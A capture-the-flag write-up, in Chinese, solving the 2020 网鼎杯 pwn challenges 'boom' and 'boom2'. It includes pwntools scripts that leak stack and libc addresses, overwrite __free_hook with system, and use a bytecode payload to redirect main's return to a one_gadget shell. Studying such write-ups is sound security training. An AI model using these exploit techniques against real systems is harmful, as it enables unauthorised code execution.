2020网鼎杯pwn

2020网鼎杯pwn boom
这个程序是真的特别特别的大,初步分析了一下后面就没有分析了,但是分析出了应该是个c语言的编译然后转化成字节码运行的程序,而且只能使用函数一次,也限制了程序的长度,分析去这个之后测试了一些c代码,发现可以输入int * a = 0x12345678之内的代码,然后在*a = 1234,改写 0x12345678地址的值,程序没有任何地址保护之内的东西,通过这样的代码就可以造成任意地址读写,所以只要泄露信息就好了

gdb调试发现,可以通过
int a;
int *b = &a - 3;
在a地址前3个保存了栈地址,此时b指向栈地址,可以用printf("%p\n",&a);来输出a的地址,再gdb观察内存就好了
有了栈地址和任意地址读写,就可以泄露程序的基地址和libc地址,但是不晓得远端系统环境是啥,所以先通过程序基地址泄露libc

from pwn import *
#sh = process('./pwn')
sh = remote('182.92.73.10', 24573)
#gdb.attach(sh)
#context.log_level = 'debug'
sleep(1)
code = '''
int main()
{
    int a;
    int * b;
    int * c;
    int * e;
    int * put_got;
    int * libc_base;
    int * base;
    b = &a +3;
    c = *b;
    c = c + 18;
    #这个地方各个系统栈存储基地址的位置不太一样,所以是慢慢加1测出远端的程序基地址位置的
    base = *c - 0x040;
    e = base + 0x40c02;#指向函数使用次数,从而任意调用函数
    put_got = base + 0x40bef;
    printf("%p\n", *put_got);
    *e = 1;
    c = c + 6;
    printf("%p\n", *c);
    libc_base = *put_got - 0x06f690;
    printf("%p\n", libc_base);
}
'''
sh.sendline(code)
sh.interactive()

泄露free和puts两个地址就可以到libc_database确定glibc版本,确定是ubuntu16 glibc2.23
然后泄露libc地址后覆盖__free_hook 为system就好了

from pwn import *
#sh = process('./pwn')
sh = remote('182.92.73.10',36642)
#gdb.attach(sh)
context.log_level = 'debug'
sleep(1)
code = '''
int main()
{
    int a;
    int * b;
    int * c;
    int * system;
    int * free_hook;
    b = &a +3;
    c = *b;
    c = c + 24;
    system = 0x45390 + *c - 0x3ca000;
    free_hook = *c + 0x3c67a8 - 0x3ca000;
    *free_hook = system;
    #printf("%p", *free_hook);
    free("/bin/sh");
}
'''
sh.sendline(code)
sh.interactive()

拿下flag,其实本来想用open,read,write函数做的,但是不知道只有运行shell输入token才能拿flag,浪费了不少时间

boom2
漏洞和boom1一模一样,主要是从输入c代码变成了输入字节码,分析下字节码,然后泄露栈地址后进行任意地址读写,因为没有free函数了,所以就直接覆盖main函数返回地址为one_gadget了,libc版本和上题一样

from pwn import *
#sh = process('./pwn')
sh = remote('182.92.73.10',36642)
#gdb.attach(sh)

mov_r1_r2_index = '\x00' * 8 
payload = mov_r1_r2_index + '\xfc' + '\xff' + '\xff' * 6
#通过&r2 - 3复制给r1指向栈的地址 
payload += '\x09' + '\x00' * 7
#取值字节码,大概就是r1 = *r1,这样就获得栈地址了
payload += '\x0d' + '\x00' * 7
#r1 的入栈操作
payload += '\x01' + '\x00' * 7
payload += '\x18' + '\xff' + '\xff' * 6
#对r1赋值,这里赋值的是上一个r1指向栈地址和main函数放回地址的偏移
payload += '\x19' + '\x00' * 7
#将栈指向值加上r1后赋值给r1,此时r1的值就是指向main_ret的栈地址,同时出栈
payload += '\x0d' + '\x00' * 7
#r1入栈
payload += '\x09' + '\x00' * 7
#r1取值,此时r1就是main函数放回地址,这个地址在libc中,所以加上onegadget偏移后再覆盖回去就能劫持程序
payload += '\x0d' + '\x00' * 7
#r1入栈
payload += '\x01' + '\x00' * 7
payload += '\x17' + '\x09' + '\x0d' + '\x00' * 5
#r1赋值为onegadget偏移
payload += '\x19' + '\x00' * 7
#加偏移出栈,此时r1就是onegadget
payload += '\x0B' + '\x00' * 7
#将r1赋值栈中地址指向的值,大概就是*[rsp] = r1的意思
sh.send(payload)
sh.interactive()

这个时候放回地址被覆盖成了onegadget,就可以拿下flag
感觉这个脚本写的不怎么好看,,,

参与评论 您还未登录,请先 登录 后发表或查看评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

remiliasai

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值